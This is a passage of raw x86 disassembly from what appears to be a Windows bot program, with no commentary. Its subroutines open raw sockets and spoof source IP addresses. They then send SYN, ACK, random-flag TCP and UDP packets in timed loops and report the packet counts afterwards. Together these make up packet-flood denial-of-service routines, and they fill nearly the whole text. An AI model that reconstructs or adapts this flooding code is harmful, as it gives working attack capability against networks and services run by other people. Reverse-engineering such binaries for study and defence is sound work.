[esp+0Ch+arg_0] call sub_40AE8D push [esp+10h+Str] ; Str mov esi, eax call _atoi push [esp+14h+arg_8] ; Str mov ebx, eax call _atoi mov edi, eax call _rand cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_414324 add esp, 1Ch test eax, eax jnz short loc_414621 push 1 pop eax loc_414621: ; CODE XREF: sub_4145D6+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4145D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414630 proc near ; DATA XREF: sub_401CC7+6F6Do Dest = byte ptr -394h var_194 = dword ptr -194h var_190 = byte ptr -190h Str = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+arg_0] push esi push edi push 65h pop ecx mov esi, eax lea edi, [ebp+var_194] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp+Str] push eax ; Str call _atoi pop ecx push eax lea eax, [ebp+var_190] push eax call dword_4E4260 ; inet_addr push eax call sub_4146D3 pop ecx pop ecx push eax lea eax, [ebp+Dest] push offset asc_44DE80 ; "-" push eax ; Dest call _sprintf xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_4146B4 push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+var_90] push eax ; Str push [ebp+var_194] ; int call sub_409D6C add esp, 14h loc_4146B4: ; CODE XREF: sub_414630+62j lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_10] call sub_40BAAA pop ecx pop ecx push esi call ds:dword_4F63D4 ; ExitThread pop edi pop esi sub_414630 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4146D3 proc near ; CODE XREF: sub_414630+41p var_98 = word ptr -98h var_96 = word ptr -96h var_94 = dword ptr -94h var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h Src = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = word ptr -1Ah var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch Memory = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 98h push ebx push esi push edi push 1 pop ecx and [ebp+var_88], 0 push 4 and [ebp+var_58], 0 pop esi mov ebx, 0FFh push 6 xor eax, eax pop edx lea edi, [ebp+var_54] mov [ebp+var_84], ecx mov [ebp+var_80], 2 mov [ebp+var_7C], esi mov [ebp+var_78], edx mov [ebp+var_74], 8 mov [ebp+var_70], 0Ch mov [ebp+var_6C], 11h mov [ebp+var_68], 16h mov [ebp+var_64], 29h mov [ebp+var_60], 3Ah mov [ebp+var_5C], ebx mov [ebp+var_50], eax stosd lea edi, [ebp+var_2C] mov [ebp+var_4C], eax mov [ebp+var_48], eax mov [ebp+var_44], 2000h mov [ebp+var_40], esi mov [ebp+var_3C], edx mov [ebp+var_38], 3FFFh mov [ebp+var_34], ecx mov [ebp+var_30], eax mov [ebp+var_28], ecx stosd mov edi, 100h push edi ; unsigned int call ??2@YAPAXI@Z ; operator new(uint) pop ecx mov [ebp+var_4], eax push edi push eax call dword_4E4234 ; gethostname push [ebp+var_4] call dword_4E42A4 ; gethostbyname mov eax, [eax+0Ch] push ebx push 3 push 2 mov eax, [eax] mov eax, [eax] mov [ebp+var_C], eax call dword_4E42A0 ; socket lea ecx, [ebp+var_28] push esi push ecx push 2 push 0 push eax mov [ebp+var_4], eax call dword_4E4200 ; setsockopt mov esi, 200h push esi ; Size call _malloc mov edi, ds:dword_4F63B0 pop ecx mov [ebp+Memory], eax call edi ; GetTickCount mov [ebp+var_10], eax mov eax, [ebp+arg_0] push 29Ah mov [ebp+var_94], eax mov [ebp+var_98], 2 call dword_4E4220 ; htons mov [ebp+var_96], ax loc_4147EE: ; CODE XREF: sub_4146D3+1FCj call edi ; GetTickCount sub eax, [ebp+var_10] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja loc_4148D4 call _rand cdq mov ecx, ebx idiv ecx mov eax, [ebp+var_C] and eax, 0FFFFFFh shl edx, 18h or edx, eax mov [ebp+var_C], edx call _rand cdq mov ecx, ebx idiv ecx mov [ebp+var_54], edx call _rand cdq mov ecx, 1FA4h mov [ebp+Src], 45h idiv ecx mov [ebp+var_23], 4 mov [ebp+var_2C], edx call _rand mov [ebp+var_20], ax call _rand push 0Ah cdq pop ecx idiv ecx mov ax, word ptr [ebp+edx*4+var_50] push eax call dword_4E4220 ; htons push esi mov [ebp+var_1E], ax call dword_4E4220 ; htons mov [ebp+var_22], ax mov [ebp+var_1C], bl call _rand push 0Eh cdq pop ecx idiv ecx push 14h mov al, byte ptr [ebp+edx*4+var_88] mov [ebp+var_1B], al mov eax, [ebp+var_C] mov [ebp+var_18], eax mov eax, [ebp+arg_0] mov [ebp+var_14], eax lea eax, [ebp+Src] push eax call sub_40B002 mov [ebp+var_1A], ax lea eax, [ebp+Src] push 14h ; Size push eax ; Src push [ebp+Memory] ; Dst call _memcpy add esp, 14h lea eax, [ebp+var_98] push 10h push eax push 0 push esi push [ebp+Memory] push [ebp+var_4] call dword_4E4284 ; sendto jmp loc_4147EE ; --------------------------------------------------------------------------- loc_4148D4: ; CODE XREF: sub_4146D3+12Cj push [ebp+Memory] ; Memory call _free pop ecx push [ebp+var_4] call dword_4E42B8 ; closesocket push 1 pop eax pop edi pop esi pop ebx leave retn sub_4146D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4148EE proc near ; DATA XREF: sub_401CC7+5536o Dest = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch Str = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h Src = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah Dst = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_9F] push 0Eh mov [eax+19Ch], esi pop ecx xor eax, eax mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, ds:dword_4F63B0 call edi ; GetTickCount push eax ; Seed call _srand pop ecx push 0FFh push 3 push 2 call dword_4E42A0 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_4149B7 call dword_4E41B4 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_44DEA0 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_414997 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_AC] ; int push eax ; int lea eax, [ebp+var_13C] push eax ; Str push [ebp+var_240] ; int call sub_409D6C add esp, 14h loc_414997: ; CODE XREF: sub_4148EE+84j lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_BC] call sub_40BAAA pop ecx pop ecx push ebx call ds:dword_4F63D4 ; ExitThread loc_4149B7: ; CODE XREF: sub_4148EE+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call dword_4E4200 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_414A35 call dword_4E41B4 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_44DED4 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_414A15 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_AC] ; int push eax ; int lea eax, [ebp+var_13C] push eax ; Str push [ebp+var_240] ; int call sub_409D6C add esp, 14h loc_414A15: ; CODE XREF: sub_4148EE+102j lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_BC] call sub_40BAAA pop ecx pop ecx push ebx call ds:dword_4F63D4 ; ExitThread loc_414A35: ; CODE XREF: sub_4148EE+DFj lea eax, [ebp+var_23C] push eax call dword_4E4260 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_414AA5 lea eax, [ebp+Dest] push offset asc_44DF0C ; "-" push eax ; Dest call _sprintf cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_414A85 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_AC] ; int push eax ; int lea eax, [ebp+var_13C] push eax ; Str push [ebp+var_240] ; int call sub_409D6C add esp, 14h loc_414A85: ; CODE XREF: sub_4148EE+172j lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_BC] call sub_40BAAA pop ecx pop ecx push ebx call ds:dword_4F63D4 ; ExitThread loc_414AA5: ; CODE XREF: sub_4148EE+157j push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push ebx call dword_4E4220 ; htons mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call dword_4E4260 ; inet_addr mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi ; GetTickCount mov [ebp+var_30], eax loc_414ADD: ; CODE XREF: sub_4148EE+430j call edi ; GetTickCount sub eax, [ebp+var_30] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_B4] ja loc_414DA1 push 28h mov [ebp+var_2C], 45h call dword_4E4220 ; htons cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_414B50 call _rand mov esi, eax shl esi, 8 call _rand add esi, eax shl esi, 8 call _rand add esi, eax shl esi, 8 call _rand add esi, eax push 1 mov [ebp+var_20], esi pop esi jmp short loc_414B66 ; --------------------------------------------------------------------------- loc_414B50: ; CODE XREF: sub_4148EE+233j push [ebp+var_240] call sub_40AFA9 pop ecx push eax call dword_4E4260 ; inet_addr mov [ebp+var_20], eax loc_414B66: ; CODE XREF: sub_4148EE+260j mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_414B84 call _rand cdq mov ecx, 401h idiv ecx push edx jmp short loc_414B8A ; --------------------------------------------------------------------------- loc_414B84: ; CODE XREF: sub_4148EE+284j push [ebp+var_B8] loc_414B8A: ; CODE XREF: sub_4148EE+294j call dword_4E4220 ; htons mov [ebp+var_16], ax call _rand cdq mov ecx, 401h idiv ecx push edx call dword_4E4220 ; htons push 12345678h mov [ebp+var_18], ax call dword_4E421C ; htonl mov [ebp+var_14], eax lea eax, [ebp+Str] push offset aSyn_1 ; "syn" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_414BDA mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_414C36 ; --------------------------------------------------------------------------- loc_414BDA: ; CODE XREF: sub_4148EE+2E1j lea eax, [ebp+Str] push offset aAck_0 ; "ack" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_414BFA mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_414C36 ; --------------------------------------------------------------------------- loc_414BFA: ; CODE XREF: sub_4148EE+301j lea eax, [ebp+Str] push offset aRandom_2 ; "random" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_414C36 call _rand push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call _rand push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_414C36: ; CODE XREF: sub_4148EE+2EAj ; sub_4148EE+30Aj ... push 200h mov [ebp+var_C], 50h call dword_4E4220 ; htons mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+Src], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call dword_4E4220 ; htons mov [ebp+var_5A], ax lea eax, [ebp+Src] push 20h ; Size push eax ; Src lea eax, [ebp+var_A0] push eax ; Dst call _memcpy lea eax, [ebp+var_18] push 14h ; Size push eax ; Src lea eax, [ebp+var_80] push eax ; Dst call _memcpy lea eax, [ebp+var_A0] push 34h push eax call sub_40B002 mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h ; Size push eax ; Src lea eax, [ebp+var_A0] push eax ; Dst call _memcpy lea eax, [ebp+var_18] push 14h ; Size push eax ; Src lea eax, [ebp+var_8C] push eax ; Dst call _memcpy push 4 ; Size lea eax, [ebp+var_78] push ebx ; Val push eax ; Dst call _memset add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40B002 mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h ; Size push eax ; Src lea eax, [ebp+var_A0] push eax ; Dst call _memcpy add esp, 14h lea eax, [ebp+Dst] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call dword_4E4284 ; sendto cmp eax, 0FFFFFFFFh jz short loc_414D23 inc [ebp+arg_0] jmp loc_414ADD ; --------------------------------------------------------------------------- loc_414D23: ; CODE XREF: sub_4148EE+42Bj push [ebp+var_4] call dword_4E42B8 ; closesocket call dword_4E41B4 ; WSAGetLastError push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset asc_44DF3C ; "-" lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_414D81 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_AC] ; int push eax ; int lea eax, [ebp+var_13C] push eax ; Str push [ebp+var_240] ; int call sub_409D6C add esp, 14h loc_414D81: ; CODE XREF: sub_4148EE+46Ej lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_BC] call sub_40BAAA pop ecx pop ecx push ebx call ds:dword_4F63D4 ; ExitThread loc_414DA1: ; CODE XREF: sub_4148EE+203j push [ebp+var_4] call dword_4E42B8 ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+Str] push eax lea eax, [ebp+Dest] push offset asc_44DF8C ; "-" push eax ; Dest call _sprintf add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_414E12 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_AC] ; int push eax ; int lea eax, [ebp+var_13C] push eax ; Str push [ebp+var_240] ; int call sub_409D6C add esp, 14h loc_414E12: ; CODE XREF: sub_4148EE+4FFj lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_BC] call sub_40BAAA pop ecx pop ecx push ebx call ds:dword_4F63D4 ; ExitThread sub_4148EE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414E32 proc near ; CODE XREF: sub_414F3C+19Ap ; sub_414F3C+1A9p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] mov edx, [ebp+arg_0] push esi xor esi, esi cmp eax, 1 mov [ebp+arg_4], esi jle short loc_414E5E mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414E50: ; CODE XREF: sub_414E32+26j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414E50 pop edi cmp eax, 1 loc_414E5E: ; CODE XREF: sub_414E32+12j jnz short loc_414E6B mov al, [edx] mov byte ptr [ebp+arg_4], al movzx eax, word ptr [ebp+arg_4] add esi, eax loc_414E6B: ; CODE XREF: sub_414E32:loc_414E5Ej mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn sub_414E32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414E84 proc near ; DATA XREF: sub_401CC7+6E98o Dest = byte ptr -394h var_194 = dword ptr -194h var_190 = byte ptr -190h Str = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+arg_0] push esi push edi push 65h pop ecx mov esi, eax lea edi, [ebp+var_194] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp+Str] push eax ; Str call _atoi pop ecx push eax lea eax, [ebp+var_190] push eax call dword_4E4260 ; inet_addr push eax lea esi, [ebp+var_194] sub esp, 194h push 65h pop ecx mov edi, esp rep movsd call sub_414F3C add esp, 19Ch push eax lea eax, [ebp+Dest] push offset asc_44DFDC ; "-" push eax ; Dest call _sprintf xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_414F1F push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+var_90] push eax ; Str push [ebp+var_194] ; int call sub_409D6C add esp, 14h loc_414F1F: ; CODE XREF: sub_414E84+79j lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_10] call sub_40BAAA pop ecx pop ecx push esi call ds:dword_4F63D4 ; ExitThread sub_414E84 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414F3C proc near ; CODE XREF: sub_414E84+54p Dest = byte ptr -0CCh var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_A3 = byte ptr -0A3h var_A2 = word ptr -0A2h Src = byte ptr -0A0h var_8C = byte ptr -8Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_68 = byte ptr -68h var_64 = byte ptr -64h var_63 = byte ptr -63h var_62 = byte ptr -62h var_58 = dword ptr -58h var_54 = byte ptr -54h var_52 = word ptr -52h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = word ptr -40h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = word ptr -2Ch Dst = byte ptr -28h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_194 = dword ptr 19Ch arg_198 = dword ptr 1A0h push ebp mov ebp, esp sub esp, 0CCh push ebx push esi mov esi, ds:dword_4F63B0 xor ebx, ebx push edi mov [ebp+var_4], ebx call esi ; GetTickCount push 0FFh push 3 push 2 mov [ebp+var_10], eax call dword_4E42A0 ; socket mov [ebp+var_8], eax call esi ; GetTickCount push eax ; Seed call _srand pop ecx mov edi, 578h push edi ; Size push 9 push 1 call sub_419589 pop ecx pop ecx push eax ; Val lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch mov esi, 5A0h loc_414F96: ; CODE XREF: sub_414F3C+235j call ds:dword_4F63B0 ; GetTickCount sub eax, [ebp+var_10] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_198] ja loc_415176 cmp dword_4E7A18, ebx jnz short loc_415015 push 10h pop eax mov [ebp+var_14], eax push eax ; Size lea eax, [ebp+var_68] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_14] push eax lea eax, [ebp+var_68] push eax push [ebp+arg_0] call dword_4E41C4 ; getsockname push 0FFh push 1 call sub_419589 pop ecx pop ecx push eax movzx eax, [ebp+var_62] push eax movzx eax, [ebp+var_63] push eax movzx eax, [ebp+var_64] push eax lea eax, [ebp+Dest] push offset aD_D_D_D_1 ; "%d.%d.%d.%d" push eax ; Dest call _sprintf add esp, 18h jmp short loc_415028 ; --------------------------------------------------------------------------- loc_415015: ; CODE XREF: sub_414F3C+7Ej lea eax, [ebp+Dest] push offset byte_4E73F8 ; Source push eax ; Dest call _strcpy pop ecx pop ecx loc_415028: ; CODE XREF: sub_414F3C+D7j lea eax, [ebp+Dest] push eax call dword_4E4260 ; inet_addr mov [ebp+var_C], eax mov eax, [ebp+var_58] and al, 45h push esi or al, 45h mov [ebp+var_54], 10h mov [ebp+var_58], eax call dword_4E4220 ; htons mov [ebp+var_52], ax call _rand mov [ebp+var_50], ax mov eax, [ebp+var_C] mov [ebp+var_48], eax mov eax, [ebp+arg_194] mov [ebp+var_4E], 40h mov [ebp+var_4C], 40h mov [ebp+var_4B], 6 mov [ebp+var_4A], bx mov [ebp+var_44], eax call _rand mov [ebp+var_40], ax call _rand mov [ebp+var_3E], ax call _rand mov [ebp+var_3C], eax call _rand mov [ebp+var_38], eax mov eax, [ebp+var_34] and ax, 0FF50h push 14h or al, 50h mov byte ptr [ebp+var_34+2], 18h mov word ptr [ebp+var_34], ax mov ax, [ebp+var_3E] mov [ebp+var_76], ax mov eax, [ebp+var_44] mov [ebp+var_74], eax lea eax, [ebp+var_58] push eax mov [ebp+var_30], 787Dh mov [ebp+var_2E], bx mov [ebp+var_2C], bx mov [ebp+var_78], 2 call sub_414E32 mov [ebp+var_4A], ax lea eax, [ebp+var_58] push 28h push eax call sub_414E32 mov eax, [ebp+var_48] add esp, 10h mov [ebp+var_AC], eax mov eax, [ebp+var_44] push 58Ch mov [ebp+var_A8], eax mov [ebp+var_A4], bl mov [ebp+var_A3], 6 call ds:dword_4F6560 ; htons mov [ebp+var_A2], ax lea eax, [ebp+Src] push 14h ; Size push eax ; Src lea eax, [ebp+var_40] push eax ; Dst call _memcpy lea eax, [ebp+var_8C] push edi ; Size push eax ; Src lea eax, [ebp+Dst] push eax ; Dst call _memcpy lea eax, [ebp+var_AC] push 598h push eax call sub_414E32 add esp, 20h mov [ebp+var_2E], ax push 10h lea eax, [ebp+var_78] push eax push ebx lea eax, [ebp+var_58] push esi push eax push [ebp+var_8] call dword_4E4284 ; sendto inc [ebp+var_4] jmp loc_414F96 ; --------------------------------------------------------------------------- loc_415176: ; CODE XREF: sub_414F3C+72j push [ebp+var_8] call dword_4E42B8 ; closesocket mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_414F3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415187 proc near ; DATA XREF: sub_401CC7+4DC7o Dest = byte ptr -414h var_214 = byte ptr -214h var_10 = dword ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov edx, [ebp+arg_0] push esi mov eax, 85h push edi mov ecx, eax mov esi, edx lea edi, [ebp+var_214] sub esp, 214h rep movsd mov ecx, eax lea esi, [ebp+var_214] mov edi, esp mov dword ptr [edx+210h], 1 rep movsd call sub_4151FE add esp, 214h push eax lea eax, [ebp+Dest] push offset asc_44E01C ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_10] call sub_40BAAA add esp, 14h push 0 call ds:dword_4F63D4 ; ExitThread sub_415187 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4151FE(int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int) sub_4151FE proc near ; CODE XREF: sub_415187+3Bp Dest = byte ptr -254h var_54 = byte ptr -54h Dst = byte ptr -34h var_30 = byte ptr -30h var_2F = byte ptr -2Fh var_2E = byte ptr -2Eh var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_84 = byte ptr 8Ch Str = byte ptr 10Ch arg_184 = byte ptr 18Ch arg_208 = dword ptr 210h arg_20C = dword ptr 214h push ebp mov ebp, esp sub esp, 254h push ebx push esi mov ebx, 0FFh push edi push ebx push 3 push 2 call dword_4E42A0 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jnz short loc_41523C lea eax, [ebp+Dest] push offset asc_44E05C ; "-" push eax ; Dest call _sprintf pop ecx xor edi, edi pop ecx jmp loc_415505 ; --------------------------------------------------------------------------- loc_41523C: ; CODE XREF: sub_4151FE+22j lea ecx, [ebp+var_14] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_14], 1 call dword_4E4200 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_415268 call dword_4E41B4 ; WSAGetLastError push eax push offset unk_44E088 jmp short loc_415283 ; --------------------------------------------------------------------------- loc_415268: ; CODE XREF: sub_4151FE+5Aj lea eax, [ebp+arg_4] push eax call dword_4E4260 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_415297 call dword_4E41B4 ; WSAGetLastError push eax push offset asc_44E0D8 ; "-" loc_415283: ; CODE XREF: sub_4151FE+68j lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch jmp loc_415505 ; --------------------------------------------------------------------------- loc_415297: ; CODE XREF: sub_4151FE+77j push edi mov [ebp+var_24], 2 call dword_4E4220 ; htons mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call ds:dword_4F655C ; inet_addr mov esi, ds:dword_4F63B0 mov [ebp+var_20], eax call esi ; GetTickCount mov [ebp+var_8], eax lea eax, [ebp+arg_4] push eax lea eax, [ebp+Dest] push offset asc_44E11C ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+arg_20C], edi jnz short loc_415300 push edi ; int lea eax, [ebp+Dest] push [ebp+arg_208] ; int push eax ; int lea eax, [ebp+arg_184] push eax ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 14h loc_415300: ; CODE XREF: sub_4151FE+E0j mov [ebp+var_4], edi call esi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov esi, eax lea eax, [ebp+Str] push eax ; Str call _atoi cmp esi, eax pop ecx ja loc_4154BB mov esi, 41Ch jmp short loc_415334 ; --------------------------------------------------------------------------- loc_41532F: ; CODE XREF: sub_4151FE+2B7j mov ebx, 0FFh loc_415334: ; CODE XREF: sub_4151FE+12Fj cmp dword_4E7A18, edi jnz short loc_41538E push 10h pop eax mov [ebp+var_10], eax push eax ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+Dst] push eax push [ebp+arg_0] call dword_4E41C4 ; getsockname push ebx push 1 call sub_419589 pop ecx pop ecx push eax movzx eax, [ebp+var_2E] push eax movzx eax, [ebp+var_2F] push eax movzx eax, [ebp+var_30] push eax lea eax, [ebp+var_54] push offset aD_D_D_D_2 ; "%d.%d.%d.%d" push eax ; Dest call _sprintf add esp, 18h jmp short loc_41539E ; --------------------------------------------------------------------------- loc_41538E: ; CODE XREF: sub_4151FE+13Cj lea eax, [ebp+var_54] push offset byte_4E73F8 ; Source push eax ; Dest call _strcpy pop ecx pop ecx loc_41539E: ; CODE XREF: sub_4151FE+18Ej push esi mov byte_4E75F8, 45h call dword_4E4220 ; htons mov word_4E75FA, ax lea eax, [ebp+var_54] push eax mov word_4E75FC, 1 mov word_4E75FE, di mov byte_4E7600, 80h mov byte_4E7601, 11h mov word_4E7602, di call dword_4E4260 ; inet_addr mov dword_4E7604, eax mov eax, [ebp+var_20] mov dword_4E7608, eax lea eax, [ebp+arg_84] push eax ; Str mov word_4E7612, di call _atoi test eax, eax pop ecx jnz short loc_415416 call _rand cdq mov ecx, 401h idiv ecx push edx jmp short 